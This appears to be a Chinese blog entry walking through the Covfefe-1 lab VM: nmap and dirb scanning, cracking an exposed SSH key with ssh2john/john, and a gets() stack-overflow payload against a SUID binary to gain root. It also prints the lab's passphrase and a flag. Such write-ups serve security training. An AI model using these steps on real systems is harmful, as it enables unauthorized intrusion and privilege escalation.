三亩地 三亩地SAN MU DI · CODE DIARY
ARTICLE DETAIL

日记详情

真实记录编程学习的某一天,欢迎挑你感兴趣的翻一翻。

Covfefe

Covfefe

Covfefe-1 靶机渗透实战

环境说明

  • 攻击机:Kali Linux,IP:192.168.146.128
  • 靶机:Covfefe-1,IP:192.168.146.130
  • 网络模式:统一 NAT,同网段192.168.146.0/24

第一阶段:主机探测(确定靶机 IP)

先查看本机网卡与网段,再扫描全网段存活主机,定位靶机真实 IP。

ifconfig
arp-scan -l

确定目标靶机 IP:192.168.146.130


第二阶段:端口 & 服务扫描(挖掘对外开放服务)

nmap -p- -sV 192.168.146.130 -n -T4

扫描结果分析

  1. 22/tcp:OpenSSH 7.4p1 → SSH 远程登录端口;
  2. 80/tcp:Nginx 1.10.3 → 普通 Web 服务;
  3. 31337/tcp:Werkzeug (Python) Web 服务 →核心攻击入口

第三阶段:Web 目录爆破(寻找泄露路径)

思路

对两个 Web 端口分别做目录爆破,查找隐藏目录、敏感文件、配置文件泄露。

3.1 爆破 80 端口

dirb http://192.168.146.130:80

结果

无有效敏感目录,80 端口无利用价值。

3.2 爆破 31337 端口(重点)

dirb http://192.168.146.130:31337

爆破结果

发现高危泄露路径:/.ssh/taxes/.bashrc/robots.txt

  • /taxes:存放第一个 Flag;
  • /.ssh:SSH 密钥目录,包含私钥、公钥,是核心突破点。

第四阶段:Web 页面访问 & 敏感文件下载

思路

浏览器访问爆破出的敏感路径,获取 Flag、下载 SSH 密钥文件、确认登录用户名。

4.1 获取 Flag1

浏览器访问:http://192.168.146.130:31337/taxes/

4.2 访问 SSH 密钥目录

浏览器访问:http://192.168.146.130:31337/.ssh

4.3 下载文件 + 提取用户名

将 3 个文件下载到 Kali 桌面,查看公钥内容,确认登录用户为simon


第五阶段:破解加密 SSH 私钥

思路

id_rsa是加密私钥,无法直接登录;使用ssh2john提取哈希值,再用john工具暴力破解密码。

5.1 切换工作目录

cd /root/Desktop

5.2 查找 ssh2john 工具路径

locate ssh2john

5.3 提取私钥哈希

/usr/bin/ssh2john id_rsa > id_rsa.hash

5.4 John 爆破哈希密码

john id_rsa.hash

5.5 修正私钥权限(SSH 强制安全限制)

SSH 要求私钥权限必须为 600,否则拒绝连接。

chmod 600 id_rsa


第六阶段:SSH 低权限登录靶机

思路

使用破解后的私钥 + 密码,登录simon普通用户。

操作命令

ssh -i id_rsa simon@192.168.146.130
  1. 输入yes确认主机指纹;
  2. 输入私钥密码:starwars

登录结果

成功进入靶机,当前用户:simon(普通低权限用户)。


第七阶段:靶机内网信息搜集(寻找提权点)

思路

查看当前权限、系统目录、敏感文件、源码,寻找可提权的漏洞、高权限程序。

7.1 查看当前用户信息

whoami id ls

7.2 进入 /root 目录

cd /root ls

7.3 查看漏洞源码 read_message.c

cat read_message.c

源码分析 & 收获

  1. 函数gets()无输入长度限制,存在栈溢出高危漏洞
  2. 程序仅校验输入前 5 个字符必须为 Simon
  3. 获取 Flag2:flag2{use_the_source_luke}
  4. 直接读取flag.txt提示权限不足,必须提权。

第八阶段:查找 SUID 高权限程序(提权关键)

思路

SUID 权限程序可让普通用户以文件所有者(root)身份运行,是 Linux 经典提权方式。

操作命令

find / -perm -4000 2>/dev/null

关键发现

/usr/local/bin/read_message属于 root 用户且带有 SUID 权限,结合前面栈溢出漏洞,确定为提权目标


第九阶段:栈溢出漏洞利用(提权至 Root)

整体思路

运行带 SUID 的漏洞程序,构造特殊载荷:前5位=Simon(绕过校验) + 大量字符填充缓冲区(触发栈溢出) + /bin/sh(反弹Shell)

9.1 进入程序目录

cd /usr/local/bin ls

9.2 执行漏洞程序并输入载荷

./read_message

输入载荷:

SimonAAAAAAAAAAAAAAAAAAAA/bin/sh

9.3 验证 Root 权限

whoami id

9.4 读取最终 Flag

cat /root/flag.txt


十、渗透总结 & 知识点复盘

1. 完整攻击流程

主机探测 → 端口服务扫描 → Web 目录爆破 → 敏感文件泄露(SSH 密钥)→ 私钥爆破 → 低权限 SSH 登录 → 源码审计(发现栈溢出)→ 查找 SUID 程序 → 栈溢出提权 Root → 收集全部 Flag

2. 核心考点

  1. Web 目录泄露:错误配置导致.ssh密钥目录对外公开;
  2. SSH 加密私钥破解ssh2john + john组合工具使用;
  3. Linux 权限:SSH 私钥 600 权限要求、SUID 提权原理;
  4. 二进制漏洞gets()函数栈溢出、简单缓冲区溢出利用。
← 返回列表